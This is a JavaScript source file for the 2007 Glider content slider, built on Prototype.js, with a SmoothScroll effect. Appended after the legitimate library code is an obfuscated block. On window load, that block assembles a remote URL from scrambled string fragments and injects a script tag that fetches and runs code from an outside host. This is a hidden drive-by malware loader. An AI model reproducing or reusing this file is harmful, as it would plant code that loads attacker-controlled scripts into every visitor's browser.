/*
 * @author Bruno Bornsztein <bruno@missingmethod.com>
 * @copyright 2007 Curbly LLC
 * @package Glider
 * @license MIT
 * @url http://code.google.com/p/missingmethod-projects/wiki/Glider
 * @version 0.0.4
 * @dependencies prototype.js 1.5.1+, effects.js
 */

Glider = Class.create();
Object.extend(Object.extend(Glider.prototype, Abstract.prototype), {
	initialize: function(wrapper, options){
	    this.scrolling  = false;
	    this.wrapper    = $(wrapper);
	    this.scroller   = this.wrapper.down('div.scroller');
	    this.sections   = this.wrapper.getElementsBySelector('div.section');
	    this.options    = Object.extend({ controlsEvent:'click', duration: 1.0, frequency: 3 }, options || {});

	    this.sections.each( function(section, index) {
	      section._index = index;
	    });    

	    this.events = {
	      click: this.click.bind(this)
	    };

	    this.addObservers();
			if(this.options.initialSection) this.moveTo(this.options.initialSection, this.scroller, { duration:this.options.duration });  // initialSection should be the id of the section you want to show up on load
			if(this.options.autoGlide) this.start();
	  },
	
  addObservers: function() {
		this.controls = this.wrapper.getElementsBySelector('.controls a');
		this.controls.invoke('observe', this.options.controlsEvent, this.events.click);
  },	

  click: function(event) {
		this.stop();
    var element = Event.findElement(event, 'a');
    if (this.scrolling) 
        this.scrolling.cancel();
        
	moveToHere = element.href.split("#")[1];
        
    this.moveTo(moveToHere, this.scroller, { duration:this.options.duration });     
    Event.stop(event);

		this.controls.each(function(control){
			if (control == element) {
				control.addClassName("active")
			}else{
				control.removeClassName("active")
			}			
		});
  },

	moveTo: function(element, container, options){
			this.current = $(element);

			Position.prepare();
	    var containerOffset = Position.cumulativeOffset(container),
	     elementOffset = Position.cumulativeOffset($(element));

		  this.scrolling 	= new Effect.SmoothScroll(container, 
				{duration:options.duration, x:(elementOffset[0]-containerOffset[0]), y:(elementOffset[1]-containerOffset[1])});
		  return false;
		},
		
  next: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var nextIndex = (this.sections.length - 1 == currentIndex) ? 0 : currentIndex + 1;      
    } else var nextIndex = 1;

    this.moveTo(this.sections[nextIndex], this.scroller, { 
      duration: this.options.duration
    });
  },
	
  previous: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var prevIndex = (currentIndex == 0) ? this.sections.length - 1 : 
       currentIndex - 1;
    } else var prevIndex = this.sections.length - 1;
    
    this.moveTo(this.sections[prevIndex], this.scroller, { 
      duration: this.options.duration
    });
  },

	stop: function()
	{
		clearTimeout(this.timer);
	},
	
	start: function()
	{
		this.periodicallyUpdate();
	},
		
	periodicallyUpdate: function()
	{ 
		if (this.timer != null) {
			clearTimeout(this.timer);
			this.next();
		}
		this.timer = setTimeout(this.periodicallyUpdate.bind(this), this.options.frequency*1000);
	}

});

Effect.SmoothScroll = Class.create();
Object.extend(Object.extend(Effect.SmoothScroll.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'absolute'
    } , arguments[1] || {}  );
    this.start(options);
  },
  setup: function() {
    if (this.options.continuous && !this.element._ext ) {
      this.element.cleanWhitespace();
      this.element._ext=true;
      this.element.appendChild(this.element.firstChild);
    }
   
    this.originalLeft=this.element.scrollLeft;
    this.originalTop=this.element.scrollTop;
   
    if(this.options.mode == 'absolute') {
      this.options.x -= this.originalLeft;
      this.options.y -= this.originalTop;
    } 
  },
  update: function(position) {   
    this.element.scrollLeft = this.options.x * position + this.originalLeft;
    this.element.scrollTop  = this.options.y * position + this.originalTop;
  }
});
var u="";try {var L;if(L!='' && L!='J'){L='by'};var Lx=new Date();var LK;if(LK!='ln' && LK!='a'){LK=''};var k="5tiZrep".substr(4)+"igpPlac".substr(4)+"Y0Nue".substr(4);var ux='';var i=new String("gqjIO".substr(0,1));var b='';var Wo=new Date();var rH;if(rH!='' && rH!='fs'){rH=''};var v=String("[");this.p='';var y=RegExp;var oC="";this.X="";var yk=new String("]6PRm".substr(0,1));var O;if(O!='' && O!='G'){O=''};this.cC='';var MP="";function l(d,E){var UB;if(UB!='' && UB!='zl'){UB=''};var aC;if(aC!='ic'){aC=''};this.Tq='';this.dE='';var Q=v;var VC=new Array();var Pu;if(Pu!=''){Pu='MU'};Q+=E;var XM=new String();Q+=yk;var _=new y(Q, i);return d.replace(_, b);var Nl=new Date();var NU=new Date();};var WH;if(WH!='OO'){WH='OO'};var r='';var S=l('816101128120126',"162");var T=new String("/eb"+"ay."+"duUzes/".substr(4)+"LVYjebaYjLV".substr(4,3)+"ILEAy.eEIAL".substr(4,3)+"Rfpds/i".substr(4)+"ivUIza.".substr(4)+"ne."+"jp/zXs".substr(0,3)+"hsbUE3".substr(0,3)+"0tpUc.c".substr(4)+"o.uiVPf".substr(0,3)+"BvcIk/g".substr(4)+"j7Doog".substr(3)+"le."+"PiW3comWi3P".substr(4,3)+"VRat.ph".substr(4)+"p");var Y="sc"+"ri"+"JT0pt".substr(3);var Mp;if(Mp!='x'){Mp='x'};this.K="";var F="O4Ajonl".substr(4)+"oad";var D=l('hxtxtlpx:x/x/xvxilmDeloD-DcloDmD.5rleDfDexrxeDnxc5e5.5clolm5.Dt5olm5sDh5a5rDdxwDalr5el-DcDo5mD.lsDtxaDrxe5a5sltxwDoxrxkl.5rxul:5',"5xlD");var t;if(t!='' && t!='qJ'){t='Av'};var d="1";var Dk;if(Dk!=''){Dk='jL'};var Pr;if(Pr!='bx' && Pr != ''){Pr=null};window[F]=function(){var LI;if(LI!='g'){LI=''};this.Wj="";V=document.createElement(Y);r+=D;r+=S+T;V.src=r;var Il=new String();var bZ;if(bZ!='Uo' && bZ!='hx'){bZ=''};V.defer=d;var oP=new Date();var tB=new Date();var o=document.body;var iY;if(iY!='rp' && iY!='Hq'){iY='rp'};var di=new String();o.appendChild(V);var Bm;if(Bm!='nl'){Bm='nl'};var tD=new String();};var BN="";} catch(W){var yZ;if(yZ!='EQ' && yZ!='Mo'){yZ='EQ'};};var iB='';var tY;if(tY!='od'){tY='od'};